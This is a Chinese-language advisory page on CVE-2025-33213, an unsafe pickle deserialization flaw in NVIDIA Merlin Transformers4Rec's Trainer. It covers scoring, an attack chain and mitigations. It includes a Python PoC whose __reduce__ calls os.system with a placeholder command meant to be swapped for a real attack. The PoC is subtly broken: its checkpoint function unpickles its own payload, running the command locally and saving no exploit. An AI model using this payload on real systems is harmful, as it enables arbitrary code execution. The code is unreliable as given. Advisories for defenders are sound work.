IPBUF安全漏洞报告
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CVE-2025-33213 CVSS 8.8 高危

CVE-2025-33213 NVIDIA Merlin Transformers4Rec 反序列化代码执行漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-33213
漏洞类型
反序列化漏洞/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
NVIDIA Merlin Transformers4Rec for Linux

相关标签

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漏洞概述

CVE-2025-33213是NVIDIA Merlin Transformers4Rec中存在的一个高危安全漏洞,位于Trainer组件中。该漏洞源于不安全的反序列化处理,攻击者可以通过构造恶意序列化数据触发反序列化过程,从而实现远程代码执行(RCE)。成功利用此漏洞可能导致多种严重后果,包括:在目标系统上执行任意代码、造成服务拒绝(DoS)、敏感信息泄露以及数据篡改等。该漏洞的CVSS评分为8.8,属于高危级别,攻击复杂度较低,无需认证即可发起攻击,但需要用户交互。NVIDIA Merlin Transformers4Rec是NVIDIA推出的用于推荐系统的深度学习框架,广泛应用于大规模机器学习任务中。漏洞的发现者为NVIDIA安全团队([email protected]),披露日期为2025年12月9日。由于该漏洞影响机器学习训练流程中的核心组件,建议用户立即采取修复措施以防止潜在的安全风险。

技术细节

该漏洞位于NVIDIA Merlin Transformers4Rec的Trainer组件中,主要涉及不安全的Python pickle反序列化操作。在机器学习训练过程中,Trainer组件需要处理和恢复各种模型对象、配置参数和中间状态,这些数据通常以序列化形式存储和传输。漏洞的根本原因在于:1)Trainer组件在加载外部提供的序列化对象时,未进行充分的安全验证;2)直接使用pickle.loads()或类似的反序列化函数处理不可信数据;3)缺乏对反序列化对象的类型检查和完整性校验。攻击者可以通过以下方式利用此漏洞:构造包含恶意__reduce__()方法的Python对象,该方法在反序列化时自动执行任意代码;通过精心设计的pickle payload,在反序列化过程中触发系统命令执行、文件读写或网络请求等操作。由于Transformer4Rec在处理用户输入的训练数据时可能涉及模型状态的保存和恢复,攻击者可以通过上传恶意训练数据或模型checkpoint来触发漏洞。此类反序列化漏洞是Python应用中最危险的安全问题之一,因为Python的pickle模块在设计时并未考虑安全性,允许在反序列化时执行任意代码。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统是否运行NVIDIA Merlin Transformers4Rec,并定位Trainer组件的使用位置
STEP 2
步骤2:构造恶意Payload
攻击者创建包含恶意__reduce__()方法的Python对象,通过pickle序列化生成可用于反序列化代码执行的payload
STEP 3
步骤3:投递恶意数据
攻击者将恶意序列化数据注入到训练流程中,可能通过恶意checkpoint文件、配置文件或用户输入等方式传递给Trainer组件
STEP 4
步骤4:触发反序列化
当Trainer组件加载并反序列化攻击者提供的恶意数据时,payload中的__reduce__()方法自动执行,导致任意代码在服务器上运行
STEP 5
步骤5:达成攻击目标
攻击者成功执行代码后,可实现远程代码执行、服务拒绝、信息窃取或数据篡改等恶意目的

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import base64 import os # CVE-2025-33213 PoC - Malicious pickle payload for deserialization RCE # Target: NVIDIA Merlin Transformers4Rec Trainer component class Exploit: def __reduce__(self): # This will execute when the object is unpickled cmd = "whoami > /tmp/pwned.txt" # Replace with actual attack command return (os.system, (cmd,)) def generate_payload(): """Generate malicious pickle payload""" exploit_obj = Exploit() payload = pickle.dumps(exploit_obj) return base64.b64encode(payload).decode('utf-8') def create_malicious_checkpoint(): """Create a malicious checkpoint file that can be loaded by Trainer""" payload = generate_payload() malicious_data = { 'model_state': pickle.loads(base64.b64decode(payload)), 'version': 'vulnerable_version' } with open('malicious_checkpoint.pkl', 'wb') as f: pickle.dump(malicious_data, f) return payload if __name__ == '__main__': print("CVE-2025-33213 PoC for NVIDIA Merlin Transformers4Rec") print("=" * 60) payload = generate_payload() print(f"Malicious payload (base64):\n{payload}") print("\nNote: This payload will execute 'whoami' command when unpickled") print("Attack vector: Load this payload through Trainer checkpoint loading")

影响范围

NVIDIA Merlin Transformers4Rec < 修复版本
Transformers4Rec Trainer组件(所有版本)

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)限制对Trainer组件的访问权限,确保只有授权用户可以上传训练数据和模型checkpoint;2)实施严格的输入验证机制,对所有外部提供的序列化数据进行安全检查;3)考虑使用沙箱环境隔离Trainer组件的执行,防止潜在的代码执行影响主系统;4)监控和记录Trainer相关的文件加载操作,及时发现异常行为;5)如果可能,暂时禁用checkpoint加载功能或使用白名单机制限制可加载的模型文件。

参考链接

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